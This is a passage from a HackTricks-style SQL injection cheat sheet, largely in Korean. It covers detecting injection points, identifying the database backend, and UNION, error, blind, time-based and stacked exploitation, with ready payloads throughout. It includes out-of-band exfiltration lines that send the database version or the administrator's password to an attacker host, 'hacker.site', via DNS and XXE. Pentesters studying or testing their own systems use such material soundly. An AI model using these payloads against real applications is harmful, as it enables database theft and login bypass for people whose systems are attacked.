SQL Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SQL injection์ด๋ž€?

An SQL injection์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฟผ๋ฆฌ์— ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐœ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ ‘๊ทผํ•ด์„œ๋Š” ์•ˆ ๋˜๋Š” ๋ฐ์ดํ„ฐ(๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ์ •๋ณด๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ ํฌํ•จ)๋ฅผ view, modify, deleteํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ–‰์œ„๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ธฐ๋Šฅ์ด๋‚˜ ์ฝ˜ํ…์ธ ์— ์˜๊ตฌ์ ์ธ ๋ณ€๊ฒฝ์„ ์ดˆ๋ž˜ํ•˜๊ฑฐ๋‚˜, ์‹ฌ์ง€์–ด ์„œ๋ฒ„ ์นจํ•ด ํ˜น์€ denial of service๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ง„์ž…์  ํƒ์ง€

์‚ฌ์ดํŠธ๊ฐ€ SQL injection (SQLi) ๊ด€๋ จ ์ž…๋ ฅ์— ๋Œ€ํ•ด ๋น„์ •์ƒ์ ์ธ ์„œ๋ฒ„ ์‘๋‹ต์„ ๋ณด์ด๋ฉฐ **vulnerable to SQL injection (SQLi)**์ฒ˜๋Ÿผ ๋ณด์ผ ๋•Œ, first step์€ ์ฟผ๋ฆฌ๋ฅผ ๋ง๊ฐ€๋œจ๋ฆฌ์ง€ ์•Š๊ณ  ์–ด๋–ป๊ฒŒ inject data into the query without disrupting itํ• ์ง€ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ํ˜„์žฌ ์ปจํ…์ŠคํŠธ์—์„œ ํšจ๊ณผ์ ์œผ๋กœ escape from the current contextํ•  ๋ฐฉ๋ฒ•์„ ์‹๋ณ„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๋ช‡ ๊ฐ€์ง€ ์œ ์šฉํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

๊ทธ๋Ÿฐ ๋‹ค์Œ, ์–ด๋–ป๊ฒŒ query๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ errors๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๊ฒŒ ํ•˜๋Š”์ง€ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. query๋ฅผ ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” input ๋ฐ์ดํ„ฐ๋ฅผ ๋„ฃ์–ด previous query๊ฐ€ ์ƒˆ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›์•„๋“ค์ด๋„๋ก ํ•˜๊ฑฐ๋‚˜, ๋‹จ์ˆœํžˆ inputํ•œ ๋ฐ์ดํ„ฐ ๋’ค์— comment symbol์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ : query๊ฐ€ ์ž‘๋™ํ•  ๋•Œ์™€ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ๋•Œ์˜ ์ฐจ์ด๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฑฐ๋‚˜ error messages๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด ๋‹จ๊ณ„๊ฐ€ ๋” ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค.

Comments

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

๋…ผ๋ฆฌ ์—ฐ์‚ฐ์œผ๋กœ ํ™•์ธํ•˜๊ธฐ

์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” SQL injection ์ทจ์•ฝ์  ํ™•์ธ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์˜ˆ์ƒ๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๊ด€์ฐฐํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ?username=Peter ๊ฐ™์€ GET parameter๊ฐ€ ?username=Peter' or '1'='1๋กœ ์ˆ˜์ •ํ–ˆ์„ ๋•Œ ๋™์ผํ•œ ์ฝ˜ํ…์ธ ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด SQL injection ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, ์ˆ˜ํ•™์  ์—ฐ์‚ฐ์˜ ์ ์šฉ๋„ ํšจ๊ณผ์ ์ธ ํ™•์ธ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ?id=1๊ณผ ?id=2-1์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค๋ฉด SQL injection์ž„์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

๋…ผ๋ฆฌ ์—ฐ์‚ฐ ํ™•์ธ ์˜ˆ์‹œ:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

์ด ๋‹จ์–ด ๋ชฉ๋ก์€ ์ œ์•ˆ๋œ ๋ฐฉ์‹์œผ๋กœ SQLinjections์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

ํƒ€์ด๋ฐ์œผ๋กœ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค ๊ฒฝ์šฐ์—๋Š” ํ…Œ์ŠคํŠธ ์ค‘์ธ ํŽ˜์ด์ง€์—์„œ ์•„๋ฌด๋Ÿฐ ๋ณ€ํ™”๋„ ๋ณด์ด์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ DB๊ฐ€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•ด ํŽ˜์ด์ง€ ๋กœ๋“œ์— ์˜ํ–ฅ์„ ์ฃผ๊ฒŒ ํ•˜๋Š” ๊ฒƒ์€ blind SQL injections์„ ๋ฐœ๊ฒฌํ•˜๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.\

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” SQL ์ฟผ๋ฆฌ์— ์™„๋ฃŒํ•˜๋Š” ๋ฐ ๋งŽ์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆฌ๋Š” ์—ฐ์‚ฐ์„ concatํ•˜์—ฌ ์ถ”๊ฐ€ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

์–ด๋–ค ๊ฒฝ์šฐ์—๋Š” sleep ํ•จ์ˆ˜๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋Œ€์‹  ์ฟผ๋ฆฌ๊ฐ€ ๋ช‡ ์ดˆ๊ฐ€ ๊ฑธ๋ฆฌ๋Š” ๋ณต์žกํ•œ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ๋ฒ•๋“ค์˜ ์˜ˆ์‹œ๋Š” ๊ฐ ๊ธฐ์ˆ ๋ณ„๋กœ(์žˆ๋Š” ๊ฒฝ์šฐ)์— ๋ณ„๋„๋กœ ์„ค๋ช…๋ฉ๋‹ˆ๋‹ค.

๋ฐฑ์—”๋“œ ์‹๋ณ„

๋ฐฑ์—”๋“œ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋‹ค์–‘ํ•œ ๋ฐฑ์—”๋“œ์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•ด ๋ณด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด์ „ ์„น์…˜์˜ sleep ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋‹ค์Œ ๊ฒƒ๋“ค์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํ‘œ ์ถœ์ฒ˜: payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

๋˜ํ•œ, query์˜ ์ถœ๋ ฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฒ„์ „ ์ถœ๋ ฅ์„ ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

๊ณ„์†ํ•ด์„œ ๋‹ค์–‘ํ•œ ์ข…๋ฅ˜์˜ SQL Injection์„ ์•…์šฉํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ๋…ผ์˜ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ๋กœ MySQL์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

Identifying with PortSwigger

SQL injection cheat sheet | Web Security Academy

Union Based ์•…์šฉ

์ปฌ๋Ÿผ ์ˆ˜ ํ™•์ธ

If you can see the output of the query this is the best way to exploit it.
๋จผ์ €, ์ดˆ๊ธฐ ์š”์ฒญ์ด ๋ฐ˜ํ™˜ํ•˜๋Š” ์ปฌ๋Ÿผ ์ˆ˜๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‘ ์ฟผ๋ฆฌ ๋ชจ๋‘ ๋™์ผํ•œ ์ปฌ๋Ÿผ ์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
์ด๋ฅผ ์œ„ํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

Order/Group by

To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the queryโ€™s column count.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

์ฟผ๋ฆฌ๊ฐ€ ์˜ฌ๋ฐ”๋ฅผ ๋•Œ๊นŒ์ง€ null ๊ฐ’์„ ์ ์  ๋” ๋งŽ์ด SELECT ํ•˜์„ธ์š”:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

์ผ๋ถ€ ๊ฒฝ์šฐ ์ฟผ๋ฆฌ์˜ ์–‘์ชฝ ์ปฌ๋Ÿผ ํƒ€์ž…์ด ๋™์ผํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๋ชจ๋“  ๊ฒฝ์šฐ์— ์œ ํšจํ•œ null ๊ฐ’์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„, ํ…Œ์ด๋ธ” ์ด๋ฆ„ ๋ฐ ์ปฌ๋Ÿผ ์ด๋ฆ„ ์ถ”์ถœ

๋‹ค์Œ ์˜ˆ์ œ๋“ค์—์„œ๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„, ํŠน์ • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ํ…Œ์ด๋ธ” ์ด๋ฆ„, ๊ทธ๋ฆฌ๊ณ  ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ ์ด๋ฆ„์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋งˆ๋‹ค ์ด ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅด์ง€๋งŒ, ๊ธฐ๋ณธ์ ์ธ ๋ฐฉ๋ฒ•๋ก ์€ ํ•ญ์ƒ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

Exploiting Hidden Union Based

query์˜ ์ถœ๋ ฅ์ด ๋ณด์ด์ง€๋งŒ union-based injection์ด ๋ถˆ๊ฐ€๋Šฅํ•ด ๋ณด์ธ๋‹ค๋ฉด, ์ด๋Š” hidden union-based injection์ด ์กด์žฌํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ์ƒํ™ฉ์€ ์ข…์ข… blind injection ์ƒํ™ฉ์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. blind injection์„ union-based injection์œผ๋กœ ์ „ํ™˜ํ•˜๋ ค๋ฉด, ๋ฐฑ์—”๋“œ์—์„œ ์‹คํ–‰๋˜๋Š” query๋ฅผ ํŒŒ์•…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Š” blind injection ๊ธฐ๋ฒ•๊ณผ ๋Œ€์ƒ DBMS์— ํŠนํ™”๋œ ๊ธฐ๋ณธ ํ…Œ์ด๋ธ”๋“ค์„ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ๋ณธ ํ…Œ์ด๋ธ”์„ ์ดํ•ดํ•˜๋ ค๋ฉด ๋Œ€์ƒ DBMS์˜ ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

query๋ฅผ ์ถ”์ถœํ•œ ํ›„์—๋Š” ์›๋ž˜ query๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ๋‹ซ์„ ์ˆ˜ ์žˆ๋„๋ก payload๋ฅผ ์กฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๋‹ค์Œ payload์— union query๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ์ƒˆ๋กœ ์—ด๋ฆฐ union-based injection์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋” ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ „์ฒด ๊ธ€ Healing Blind Injections๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

Exploiting Error based

์–ด๋–ค ์ด์œ ๋กœ cannot see the output of the query ํ•˜์ง€๋งŒ see the error messages๋Š” ๋ณผ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด error messages๋ฅผ ์ด์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ex-filtrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Union Based exploitation๊ณผ ์œ ์‚ฌํ•œ ํ๋ฆ„์„ ๋”ฐ๋ผ๊ฐ€๋ฉด DB๋ฅผ dumpํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi ์•…์šฉ

์ด ๊ฒฝ์šฐ query์˜ ๊ฒฐ๊ณผ๋‚˜ ์—๋Ÿฌ๋Š” ๋ณผ ์ˆ˜ ์—†์ง€๋งŒ, ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์ด ๋‹ฌ๋ผ์ง€๊ธฐ ๋•Œ๋ฌธ์— query๊ฐ€ true ๋˜๋Š” false ์‘๋‹ต์„ returnํ•  ๋•Œ๋ฅผ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ database๋ฅผ ๋ฌธ์ž ๋‹จ์œ„๋กœ dumpํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

์ด๊ฒƒ์€ ์ด์ „๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ์ด์ง€๋งŒ, ์ฟผ๋ฆฌ์˜ true/false ์‘๋‹ต์„ ๊ตฌ๋ณ„ํ•˜๋Š” ๋Œ€์‹  ๊ตฌ๋ณ„ํ•˜์—ฌ ์ฟผ๋ฆฌ์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š”์ง€ ์—ฌ๋ถ€(์•„๋งˆ๋„ HTTP ์„œ๋ฒ„๊ฐ€ ํฌ๋ž˜์‹œํ•˜๊ธฐ ๋•Œ๋ฌธ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค)๋ฅผ ํŒ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ์ด ๊ฒฝ์šฐ์—๋Š” ๋ฌธ์ž๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ถ”์ธกํ•  ๋•Œ๋งˆ๋‹ค SQLerror๋ฅผ ๊ฐ•์ œ๋กœ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi ์•…์šฉ

์ด ๊ฒฝ์šฐ ํŽ˜์ด์ง€์˜ ์ปจํ…์ŠคํŠธ๋งŒ์œผ๋กœ๋Š” ์ฟผ๋ฆฌ์˜ ์‘๋‹ต์„ ๊ตฌ๋ถ„ํ•  ๋ฐฉ๋ฒ•์ด ์—†์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ถ”์ธกํ•œ ๋ฌธ์ž๊ฐ€ ๋งž์œผ๋ฉด ํŽ˜์ด์ง€์˜ ๋กœ๋“œ ์‹œ๊ฐ„์ด ๋” ๊ธธ์–ด์ง€๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด๋ฏธ confirm a SQLi vuln์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์ด ๊ธฐ์ˆ ์ด ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ณธ ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

stacked queries๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ์—ฐ์†์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ›„์† ์ฟผ๋ฆฌ๋“ค์ด ์‹คํ–‰๋˜๋”๋ผ๋„, ๊ฒฐ๊ณผ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ๊ธฐ๋ฒ•์€ ์ฃผ๋กœ blind vulnerabilities์™€ ๊ด€๋ จ๋˜์–ด ์œ ์šฉํ•˜๋ฉฐ, ๋‘ ๋ฒˆ์งธ ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด DNS ์กฐํšŒ, ์กฐ๊ฑด๋ถ€ ์˜ค๋ฅ˜ ๋˜๋Š” ์‹œ๊ฐ„ ์ง€์—ฐ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Oracle๋Š” stacked queries๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. MySQL, Microsoft ๋ฐ PostgreSQL๋Š” ์ด๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

๋งŒ์•ฝ ๋‹ค๋ฅธ exploitation ๋ฐฉ๋ฒ•์ด ์ž‘๋™ํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” external host๋กœ ์ •๋ณด๋ฅผ database ex-filtrateํ•˜๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, DNS ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE๋ฅผ ํ†ตํ•œ Out of band data exfiltration

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

SQLi ์ทจ์•ฝ์ ์„ exploitํ•˜๊ธฐ ์œ„ํ•ด SQLMap Cheatsheet์™€ sqlmap๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Tech specific info

์šฐ๋ฆฌ๋Š” ์ด๋ฏธ SQL Injection ์ทจ์•ฝ์ ์„ exploitํ•˜๋Š” ๋ชจ๋“  ๋ฐฉ๋ฒ•์„ ๋…ผ์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฑ…์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ์ˆ ๋ณ„๋กœ ๋” ๋งŽ์€ ํŠธ๋ฆญ์„ ์ฐพ์•„๋ณด์„ธ์š”:

๋˜๋Š” MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL์— ๊ด€ํ•œ ๋งŽ์€ ํŠธ๋ฆญ์„ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Authentication bypass

๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ํ•  ๋ชฉ๋ก:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

